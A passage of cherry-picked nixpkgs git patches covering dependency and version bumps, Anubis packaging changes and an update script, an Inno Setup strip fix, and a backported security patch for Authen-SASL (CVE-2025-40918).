@@ -3558,9 +3559,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.173:
-  version "1.5.179"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.179.tgz#453d53f360014a2604d40ccd41c4ea0a6e31b99a"
-  integrity sha512-UWKi/EbBopgfFsc5k61wFpV7WrnnSlSzW/e2XcBmS6qKYTivZlLtoll5/rdqRTxGglGHkmkW0j0pFNJG10EUIQ==
+  version "1.5.185"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.185.tgz#b4f9189c4ef652ddf9f1bb37529e2b79f865e912"
+  integrity sha512-dYOZfUk57hSMPePoIQ1fZWl1Fkj+OshhEVuPacNKWzC1efe56OsHY3l/jCfiAgIICOU3VgOIdoq7ahg7r7n6MQ==
 
 emoji-regex@^7.0.1:
   version "7.0.3"
@@ -3934,12 +3935,12 @@ fast-json-stable-stringify@^2.0.0:
   resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
   integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
 
-fast-xml-parser@4.4.1:
-  version "4.4.1"
-  resolved "https://registry.yarnpkg.com/fast-xml-parser/-/fast-xml-parser-4.4.1.tgz#86dbf3f18edf8739326447bcaac31b4ae7f6514f"
-  integrity sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw==
+fast-xml-parser@5.2.5:
+  version "5.2.5"
+  resolved "https://registry.yarnpkg.com/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz#4809fdfb1310494e341098c25cb1341a01a9144a"
+  integrity sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==
   dependencies:
-    strnum "^1.0.5"
+    strnum "^2.1.0"
 
 fast-xml-parser@^4.4.1, fast-xml-parser@^4.5.1:
   version "4.5.3"
@@ -6068,9 +6069,9 @@ named-placeholders@^1.1.3:
     lru-cache "^7.14.1"
 
 nan@^2.13.2, nan@^2.19.0, nan@^2.20.0:
-  version "2.22.2"
-  resolved "https://registry.yarnpkg.com/nan/-/nan-2.22.2.tgz#6b504fd029fb8f38c0990e52ad5c26772fdacfbb"
-  integrity sha512-DANghxFkS1plDdRsX0X9pm0Z6SJNN6gBdtXfanwoZ8hooC5gosGFSBGRYHUVPz1asKA/kMRqDRdHrluZ61SpBQ==
+  version "2.23.0"
+  resolved "https://registry.yarnpkg.com/nan/-/nan-2.23.0.tgz#24aa4ddffcc37613a2d2935b97683c1ec96093c6"
+  integrity sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==
 
 nanoid@^3.3.8:
   version "3.3.11"
@@ -7188,9 +7189,9 @@ readline2@^1.0.1:
     mute-stream "0.0.5"
 
 real-cancellable-promise@^1.1.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/real-cancellable-promise/-/real-cancellable-promise-1.2.2.tgz#fef5dc64c99749d9640ab63fe6f32a37fc7b29b2"
-  integrity sha512-Qh1RvIGdekUCv/ZkK9IiAkah2/Q++p66KHe6TSgHnx4QSbr5vCo3qDoszqRO1TSH+6h6HI5aDVBVrQCQBGj44Q==
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/real-cancellable-promise/-/real-cancellable-promise-1.2.3.tgz#6df13b7db40cbff9969975d6194c11e2356c4a13"
+  integrity sha512-hBI5Gy/55VEeeMtImMgEirD7eq5UmqJf1J8dFZtbJZA/3rB0pYFZ7PayMGueb6v4UtUtpKpP+05L0VwyE1hI9Q==
 
 reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
   version "1.0.10"
@@ -7725,9 +7726,9 @@ socks-proxy-agent@^6.0.0:
     socks "^2.6.2"
 
 socks@^2.6.2, socks@^2.7.1:
-  version "2.8.5"
-  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.5.tgz#bfe18f5ead1efc93f5ec90c79fa8bdccbcee2e64"
-  integrity sha512-iF+tNDQla22geJdTyJB1wM/qrX9DMRwWrciEPwWLPRWAUEM8sQiyxgckLxWT1f7+9VabJS0jTGGr4QgBuvi6Ww==
+  version "2.8.6"
+  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.6.tgz#e335486a2552f34f932f0c27d8dbb93f2be867aa"
+  integrity sha512-pe4Y2yzru68lXCb38aAqRf5gvN8YdjP1lok5o0J7BOHljkyCGKVz7H3vpVIXKD27rj2giOJ7DwVyk/GWrPHDWA==
   dependencies:
     ip-address "^9.0.5"
     smart-buffer "^4.2.0"
@@ -8075,11 +8076,16 @@ strip-json-comments@~2.0.1:
   resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
   integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==
 
-strnum@^1.0.5, strnum@^1.1.1:
+strnum@^1.1.1:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/strnum/-/strnum-1.1.2.tgz#57bca4fbaa6f271081715dbc9ed7cee5493e28e4"
   integrity sha512-vrN+B7DBIoTTZjnPNewwhx6cBA/H+IS7rfW68n7XxC1y7uoiGQBxaKzqucGUgavX15dJgiGztLJ8vxuEzwqBdA==
 
+strnum@^2.1.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/strnum/-/strnum-2.1.1.tgz#cf2a6e0cf903728b8b2c4b971b7e36b4e82d46ab"
+  integrity sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==
+
 strtok3@^7.0.0:
   version "7.1.1"
   resolved "https://registry.yarnpkg.com/strtok3/-/strtok3-7.1.1.tgz#f548fd9dc59d0a76d5567ff8c16be31221f29dfc"

From 904d77a90b207c22d3fac7fe1fadb0b4cb3a2aa9 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Fri, 4 Jul 2025 22:01:55 +0300
Subject: [PATCH 2623/4511] iscc: Fix running windows installers

Fix found by AleXoundOS

> I figured out what caused the problem! By default, mkDerivation uses strip operations for all binaries in $out/bin,
> what caused $out/bin/Setup.e32 file to become stripped and lose some crucial parts which must be copied to resulting installer executable.
> Adding dontStrip = 1 fixes the problem.

Co-authored-by: Alexander Tomokhov <alexoundos@gmail.com>
(cherry picked from commit fb0ddcb05df223b7e4f7c126e5a6d4d151f64cde)
---
 pkgs/by-name/is/iscc/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/is/iscc/package.nix b/pkgs/by-name/is/iscc/package.nix
index cc402d9cbd46..d64e2e159e58 100644
--- a/pkgs/by-name/is/iscc/package.nix
+++ b/pkgs/by-name/is/iscc/package.nix
@@ -53,6 +53,10 @@ stdenv.mkDerivation rec {
     runHook postInstall
   '';
 
+  # Stripping causes `$out/bin/Setup.e32` to lose something important and causes the built windows installers to not run on windows "This app can't run on your PC".
+  # They worked in wine but not on real windows.
+  dontStrip = 1;
+
   meta = with lib; {
     description = "Compiler for Inno Setup, a tool for creating Windows installers";
     homepage = "https://jrsoftware.org/isinfo.php";

From 4579c74f63f29ba14ea8c8173d8fc2debace99a3 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 19 Jul 2025 07:58:58 +0200
Subject: [PATCH 2624/4511] linux_xanmod: 6.12.37 -> 6.12.39

(cherry picked from commit 94522dde2dfb6cbe0a2d0cba7346153e7debc654)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 76dec620576a..703002fa6ec8 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.37";
-      hash = "sha256-VH5w802w6ugpMP5YPUuOJtf9TnrLZmFJUrGCQVH4n+s=";
+      version = "6.12.39";
+      hash = "sha256-yv8CtqqxJiiRjnZJrsqRw/q6B9JnS5nmnYlqTYWN6Kc=";
     };
     main = {
       version = "6.15.6";

From c0e5cc5d7c64c832bd24650b4a3e78ed5ef20467 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 19 Jul 2025 08:02:07 +0200
Subject: [PATCH 2625/4511] linux_xanmod_latest: 6.15.6 -> 6.15.7

(cherry picked from commit 8d3a6d5a6728e8f3f0162d4e879a642057b66636)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 703002fa6ec8..0aa39d4eb0af 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-yv8CtqqxJiiRjnZJrsqRw/q6B9JnS5nmnYlqTYWN6Kc=";
     };
     main = {
-      version = "6.15.6";
-      hash = "sha256-ArhRHMHvScV1Xa0lgBbM0hYtCAXujSCHA3aKEZnZSwU=";
+      version = "6.15.7";
+      hash = "sha256-YMDjtoGz/PQKmbB2umI+5mODP4A1NqzVusc9kg2zGzA=";
     };
   };
 

From 725ed5fff3962e1d38d614cda56430515fb4bddf Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 21:20:14 +0200
Subject: [PATCH 2626/4511] anubis: format

(cherry picked from commit fb698741a91cab6e39567c384024aa5a21a077c2)
---
 pkgs/by-name/an/anubis/package.nix | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index ef79b6d9a8ee..9e87ef250247 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -31,19 +31,13 @@ buildGoModule (finalAttrs: {
     zstd
   ];
 
-  subPackages = [
-    "cmd/anubis"
-  ];
+  subPackages = [ "cmd/anubis" ];
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X=github.com/TecharoHQ/anubis.Version=v${finalAttrs.version}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-extldflags=-static"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X=github.com/TecharoHQ/anubis.Version=v${finalAttrs.version}"
+  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "-extldflags=-static" ];
 
   postPatch = ''
     patchShebangs ./web/build.sh

From 0e63d81965430e57c900c46524d007379c8a7948 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 20:49:14 +0200
Subject: [PATCH 2627/4511] anubis-xess: move into anubis package

(cherry picked from commit dfedad0bb5d1b467a9ab61bc44e90ef022de7ab6)
---
 pkgs/by-name/an/anubis-xess/package.nix | 35 -------------------------
 pkgs/by-name/an/anubis/package.nix      | 24 ++++++++++++++---
 2 files changed, 21 insertions(+), 38 deletions(-)
 delete mode 100644 pkgs/by-name/an/anubis-xess/package.nix

diff --git a/pkgs/by-name/an/anubis-xess/package.nix b/pkgs/by-name/an/anubis-xess/package.nix
deleted file mode 100644
index 8165cf1e0c37..000000000000
--- a/pkgs/by-name/an/anubis-xess/package.nix
+++ /dev/null
@@ -1,35 +0,0 @@
-{ buildNpmPackage, anubis }:
-
-buildNpmPackage {
-  pname = "${anubis.pname}-xess";
-  inherit (anubis) version src;
-
-  npmDepsHash = "sha256-wI8XCUGq3aI20B++RAT3lc/nBrDMEmE9+810lewzXa0=";
-
-  buildPhase = ''
-    runHook preBuild
-
-    npx postcss ./xess/xess.css -o xess.min.css
-
-    runHook postBuild
-  '';
-
-  installPhase = ''
-    runHook preInstall
-
-    install -Dm644 xess.min.css $out/xess.min.css
-
-    runHook postInstall
-  '';
-
-  meta = anubis.meta // {
-    description = "Xess files for Anubis";
-    longDescription = ''
-      This package is consumed by the main `anubis` package to render the final
-      styling for the bot check page.
-
-      **It is not supposed to be used as a standalone package**, and it exists to
-      ensure Anubis' styling is override-able by downstreams.
-    '';
-  };
-}
diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index 9e87ef250247..b5a4aa2ed4fd 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -4,8 +4,7 @@
   fetchFromGitHub,
   nixosTests,
   stdenv,
-
-  anubis-xess,
+  buildNpmPackage,
 
   esbuild,
   brotli,
@@ -31,6 +30,25 @@ buildGoModule (finalAttrs: {
     zstd
   ];
 
+  xess = buildNpmPackage {
+    pname = "anubis-xess";
+    inherit (finalAttrs) version src;
+
+    npmDepsHash = "sha256-wI8XCUGq3aI20B++RAT3lc/nBrDMEmE9+810lewzXa0=";
+
+    buildPhase = ''
+      runHook preBuild
+      npx postcss ./xess/xess.css -o xess.min.css
+      runHook postBuild
+    '';
+
+    installPhase = ''
+      runHook preInstall
+      install -Dm644 xess.min.css $out/xess.min.css
+      runHook postInstall
+    '';
+  };
+
   subPackages = [ "cmd/anubis" ];
 
   ldflags = [
@@ -44,7 +62,7 @@ buildGoModule (finalAttrs: {
   '';
 
   preBuild = ''
-    go generate ./... && ./web/build.sh && cp -r ${anubis-xess}/xess.min.css ./xess
+    go generate ./... && ./web/build.sh && cp -r ${finalAttrs.xess}/xess.min.css ./xess
   '';
 
   preCheck = ''

From 31597ce9a1c7f89e0c7314847a2cebfd495c0415 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 20:59:06 +0200
Subject: [PATCH 2628/4511] anubis: add meta.downloadPage

(cherry picked from commit 27dddb6876894c5ed13b689858dad5b1bbb72dde)
---
 pkgs/by-name/an/anubis/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index b5a4aa2ed4fd..c91b81bd394c 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -74,6 +74,7 @@ buildGoModule (finalAttrs: {
   meta = {
     description = "Weighs the soul of incoming HTTP requests using proof-of-work to stop AI crawlers";
     homepage = "https://anubis.techaro.lol/";
+    downloadPage = "https://github.com/TecharoHQ/anubis";
     changelog = "https://github.com/TecharoHQ/anubis/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [

From 2e73143d7b3b9e85c941e2aa332eda271cf13cfa Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 20:47:38 +0200
Subject: [PATCH 2629/4511] anubis: add updateScript

(cherry picked from commit 252c081da08a66104913d3262bd922b3074fd05a)
---
 pkgs/by-name/an/anubis/package.nix | 1 +
 pkgs/by-name/an/anubis/update.sh   | 8 ++++++++
 2 files changed, 9 insertions(+)
 create mode 100755 pkgs/by-name/an/anubis/update.sh

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index c91b81bd394c..c5976c41a4ab 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -70,6 +70,7 @@ buildGoModule (finalAttrs: {
   '';
 
   passthru.tests = { inherit (nixosTests) anubis; };
+  passthru.updateScript = ./update.sh;
 
   meta = {
     description = "Weighs the soul of incoming HTTP requests using proof-of-work to stop AI crawlers";
diff --git a/pkgs/by-name/an/anubis/update.sh b/pkgs/by-name/an/anubis/update.sh
new file mode 100755
index 000000000000..62f67a857d0c
--- /dev/null
+++ b/pkgs/by-name/an/anubis/update.sh
@@ -0,0 +1,8 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p nix-update
+
+set -euo pipefail
+
+nix-update anubis --src-only
+nix-update anubis.xess --version=skip
+nix-update anubis --version=skip

From 360d07db183ac0d72e6ca5c3b5be40c9210e1bd2 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 20:48:16 +0200
Subject: [PATCH 2630/4511] anubis: add defelo as maintainer

(cherry picked from commit 588af0fe4d01cc3fabd27e1df47e252e2fdf38db)
---
 pkgs/by-name/an/anubis/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index c5976c41a4ab..50ca02b7ad17 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -83,6 +83,7 @@ buildGoModule (finalAttrs: {
       soopyc
       ryand56
       sigmasquadron
+      defelo
     ];
     mainProgram = "anubis";
   };

From e7f4106c4045e185f1fdeaed60f3a28877de5691 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 20 Jun 2025 11:54:43 +0200
Subject: [PATCH 2631/4511] anubis: don't update to pre-releases

(cherry picked from commit b0e8b75c6bf2bf0b8b4ba2a6dba3d093a271edd2)
---
 pkgs/by-name/an/anubis/update.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/an/anubis/update.sh b/pkgs/by-name/an/anubis/update.sh
index 62f67a857d0c..fa62b90b82cc 100755
--- a/pkgs/by-name/an/anubis/update.sh
+++ b/pkgs/by-name/an/anubis/update.sh
@@ -3,6 +3,6 @@
 
 set -euo pipefail
 
-nix-update anubis --src-only
+nix-update anubis --src-only --version-regex='^v(\d+\.\d+\.\d+)$'
 nix-update anubis.xess --version=skip
 nix-update anubis --version=skip

From 2f3b8e2fae7a4067421af7de4563def7ffc75060 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 27 Jun 2025 18:00:59 +0000
Subject: [PATCH 2632/4511] anubis: 1.19.1 -> 1.20.0

Changelog: https://github.com/TecharoHQ/anubis/releases/tag/v1.20.0
Diff: https://github.com/TecharoHQ/anubis/compare/v1.19.1...v1.20.0
(cherry picked from commit c11e60c8ea167e6a49af95704704d7eb4e42eda3)
---
 nixos/tests/anubis.nix             | 7 +------
 pkgs/by-name/an/anubis/package.nix | 8 ++++----
 2 files changed, 5 insertions(+), 10 deletions(-)

diff --git a/nixos/tests/anubis.nix b/nixos/tests/anubis.nix
index 05771339f4aa..973c1b3f369f 100644
--- a/nixos/tests/anubis.nix
+++ b/nixos/tests/anubis.nix
@@ -8,11 +8,7 @@
   ];
 
   nodes.machine =
-    {
-      config,
-      pkgs,
-      ...
-    }:
+    { config, pkgs, ... }:
     {
       services.anubis = {
         defaultOptions.settings = {
@@ -100,7 +96,6 @@
     machine.succeed('curl -f http://basic.localhost | grep "it works"')
     machine.succeed('curl -f http://basic.localhost -H "User-Agent: Mozilla" | grep anubis')
     machine.succeed('curl -f http://basic.localhost/metrics | grep anubis_challenges_issued')
-    machine.succeed('curl -f -X POST http://basic.localhost/.within.website/x/cmd/anubis/api/make-challenge -d "redir=/" | grep challenge')
 
     # TCP mode
     machine.succeed('curl -f http://tcp.localhost -H "User-Agent: Mozilla" | grep anubis')
diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index 50ca02b7ad17..fc026c175bcc 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -13,16 +13,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "anubis";
-  version = "1.19.1";
+  version = "1.20.0";
 
   src = fetchFromGitHub {
     owner = "TecharoHQ";
     repo = "anubis";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-aWdkPNwTD+ooaE0PazcOaama7k1a8n5pRxr8X6wm4zs=";
+    hash = "sha256-pdfe2D9KAg/vesTgOi+b5ZVkUkuWhmZC/xYXiiYzlPs=";
   };
 
-  vendorHash = "sha256-wJOGYOWFKep2IFzX+Hia9m1jPG+Rskg8Np9WfEc+TUY=";
+  vendorHash = "sha256-cOl+eVnj6aMKIJCjCM0aacp4/Jg5BhZqFwum+u9tOKE=";
 
   nativeBuildInputs = [
     esbuild
@@ -34,7 +34,7 @@ buildGoModule (finalAttrs: {
     pname = "anubis-xess";
     inherit (finalAttrs) version src;
 
-    npmDepsHash = "sha256-wI8XCUGq3aI20B++RAT3lc/nBrDMEmE9+810lewzXa0=";
+    npmDepsHash = "sha256-kBnexaBAMgA7QdKevW3mmlSn+QEbkTW//hYVTRFLQeQ=";
 
     buildPhase = ''
       runHook preBuild

From c20ddcab522e8b5e9b554a6b00cb866d1b321c0c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 17 Jul 2025 15:47:36 +0000
Subject: [PATCH 2633/4511] anubis: 1.20.0 -> 1.21.0

Changelog: https://github.com/TecharoHQ/anubis/releases/tag/v1.21.0
Diff: https://github.com/TecharoHQ/anubis/compare/v1.20.0...v1.21.0
(cherry picked from commit 192be5c8f5811752b8134347c312dfcb7d1ef287)
---
 pkgs/by-name/an/anubis/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index fc026c175bcc..43a00eefe288 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -13,16 +13,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "anubis";
-  version = "1.20.0";
+  version = "1.21.0";
 
   src = fetchFromGitHub {
     owner = "TecharoHQ";
     repo = "anubis";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-pdfe2D9KAg/vesTgOi+b5ZVkUkuWhmZC/xYXiiYzlPs=";
+    hash = "sha256-FKX8E32unAKK8e/Nlrj24FU1amc7AJw28hzmZDbIcIc=";
   };
 
-  vendorHash = "sha256-cOl+eVnj6aMKIJCjCM0aacp4/Jg5BhZqFwum+u9tOKE=";
+  vendorHash = "sha256-cWkC3Bqut5h3hHh5tPIPeHMnkwoqKMnG1x40uCtUIwI=";
 
   nativeBuildInputs = [
     esbuild
@@ -34,7 +34,7 @@ buildGoModule (finalAttrs: {
     pname = "anubis-xess";
     inherit (finalAttrs) version src;
 
-    npmDepsHash = "sha256-kBnexaBAMgA7QdKevW3mmlSn+QEbkTW//hYVTRFLQeQ=";
+    npmDepsHash = "sha256-jvYmAbbMRy8fK2Y0YC0UJGhNRLzk1kjzGvRbqhWFzS4=";
 
     buildPhase = ''
       runHook preBuild

From 4efe076b221be05a0ed5e35f108139ba6dc3e4e7 Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Fri, 27 Jun 2025 21:08:14 +0200
Subject: [PATCH 2634/4511] tcl,tk: 8.6.15 -> 8.6.16

(cherry picked from commit b8ea17dbd3c12fbe1110f89a162e84796436ec0f)
---
 pkgs/development/interpreters/tcl/8.6.nix | 4 ++--
 pkgs/development/libraries/tk/8.6.nix     | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/interpreters/tcl/8.6.nix b/pkgs/development/interpreters/tcl/8.6.nix
index 1c6217e79d52..2c3a57df6b81 100644
--- a/pkgs/development/interpreters/tcl/8.6.nix
+++ b/pkgs/development/interpreters/tcl/8.6.nix
@@ -4,13 +4,13 @@ callPackage ./generic.nix (
   args
   // rec {
     release = "8.6";
-    version = "${release}.15";
+    version = "${release}.16";
 
     # Note: when updating, the hash in pkgs/development/libraries/tk/8.6.nix must also be updated!
 
     src = fetchurl {
       url = "mirror://sourceforge/tcl/tcl${version}-src.tar.gz";
-      sha256 = "sha256-hh4Vl1Py4vvW7BSEEDcVsL5WvjNXUiuFjTy7X4k//vE=";
+      hash = "sha256-kcuPphdxxjwmLvtVMFm3x61nV6+lhXr2Jl5LC9wqFKU=";
     };
   }
 )
diff --git a/pkgs/development/libraries/tk/8.6.nix b/pkgs/development/libraries/tk/8.6.nix
index bb5f3e97da64..ca655c01ae44 100644
--- a/pkgs/development/libraries/tk/8.6.nix
+++ b/pkgs/development/libraries/tk/8.6.nix
@@ -11,7 +11,7 @@ callPackage ./generic.nix (
 
     src = fetchurl {
       url = "mirror://sourceforge/tcl/tk${tcl.version}-src.tar.gz";
-      sha256 = "sha256-VQlp81N5+VKzAg86t7ndW/0Rwe98m3xqdfXEmsp5P+w=";
+      hash = "sha256-vp+U01ddSzCZ2EvDwQ3omU3y16pAUggXPHCcxASn5f4=";
     };
 
     patches = [

From 4e91eee2a8f32335cc04c4c0211b40b96b1083e4 Mon Sep 17 00:00:00 2001
From: "Markus S. Wamser" <github-dev@mail2013.wamser.eu>
Date: Fri, 18 Jul 2025 22:06:32 +0200
Subject: [PATCH 2635/4511] nix-tree: 0.6.1 -> 0.6.3

selective manual backport of version bump

hand picked new version/hash from haskell package update in
https://github.com/NixOS/nixpkgs/pull/413046
---
 .../replacements-by-name/nix-tree.nix         | 76 +++++++++++++++++++
 1 file changed, 76 insertions(+)
 create mode 100644 pkgs/development/haskell-modules/replacements-by-name/nix-tree.nix

diff --git a/pkgs/development/haskell-modules/replacements-by-name/nix-tree.nix b/pkgs/development/haskell-modules/replacements-by-name/nix-tree.nix
new file mode 100644
index 000000000000..95a7676170b3
--- /dev/null
+++ b/pkgs/development/haskell-modules/replacements-by-name/nix-tree.nix
@@ -0,0 +1,76 @@
+{
+  mkDerivation,
+  aeson,
+  async,
+  base,
+  brick,
+  bytestring,
+  clock,
+  containers,
+  directory,
+  dot,
+  filepath,
+  hedgehog,
+  hrfsize,
+  lib,
+  microlens,
+  optparse-applicative,
+  relude,
+  terminal-progress-bar,
+  text,
+  typed-process,
+  unordered-containers,
+  vty,
+}:
+mkDerivation {
+  pname = "nix-tree";
+  version = "0.6.3";
+  sha256 = "06dzf87vckd11yiq2ng6l80rd17p920lajykn1vy2azyhivkp59j";
+  isLibrary = false;
+  isExecutable = true;
+  executableHaskellDepends = [
+    aeson
+    async
+    base
+    brick
+    bytestring
+    clock
+    containers
+    directory
+    dot
+    filepath
+    hrfsize
+    microlens
+    optparse-applicative
+    relude
+    terminal-progress-bar
+    text
+    typed-process
+    unordered-containers
+    vty
+  ];
+  testHaskellDepends = [
+    aeson
+    base
+    brick
+    bytestring
+    clock
+    containers
+    directory
+    dot
+    filepath
+    hedgehog
+    hrfsize
+    microlens
+    optparse-applicative
+    relude
+    text
+    typed-process
+    unordered-containers
+    vty
+  ];
+  description = "Interactively browse a Nix store paths dependencies";
+  license = lib.licenses.bsd3;
+  mainProgram = "nix-tree";
+  maintainers = [ lib.maintainers.utdemir ];
+}

From 5c7f82132fc7c5c2ea902340533c0e4f84bad9e1 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 18 Jul 2025 23:42:53 +0200
Subject: [PATCH 2636/4511] perlPackages.AuthenSASL: apply patch for
 CVE-2025-40918

https://www.openwall.com/lists/oss-security/2025/07/16/5
(cherry picked from commit ff1f353e6772a42e63ae4e8bd36a4a8c337a44c1)
---
 pkgs/top-level/perl-packages.nix | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index e0c0a4177fb4..7053f87ddab5 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -2062,7 +2062,17 @@ with self;
       url = "mirror://cpan/authors/id/E/EH/EHUELS/Authen-SASL-2.1700.tar.gz";
       hash = "sha256-uG1aV2uNOHruJPOfR6VK/RS7ZrCQA9tQZQAfHeA6js4=";
     };
-    propagatedBuildInputs = [ DigestHMAC ];
+    patches = [
+      (fetchurl {
+        name = "CVE-2025-40918.patch";
+        url = "https://security.metacpan.org/patches/A/Authen-SASL/2.1800/CVE-2025-40918-r1.patch";
+        hash = "sha256-2Mk6RoD7tI8V6YFV8gs08LLs0QeMJqwGz/eZ6zXBBpw=";
+      })
+    ];
+    propagatedBuildInputs = [
+      DigestHMAC
+      CryptURandom
+    ];
     meta = {
       description = "SASL Authentication framework";
       license = with lib.licenses; [

From c84f162e000188a91e32ac0d301c5c33bf1d9fce Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 11 Jul 2025 20:00:57 +0200
Subject: [PATCH 2637/4511] models-dev: init at 0-unstable-2025-07-12

(cherry picked from commit 4f53407902b2a6a410d776062c4f60f3768033b1)
---
 pkgs/by-name/mo/models-dev/package.nix | 117 +++++++++++++++++++++++++
 1 file changed, 117 insertions(+)
 create mode 100644 pkgs/by-name/mo/models-dev/package.nix

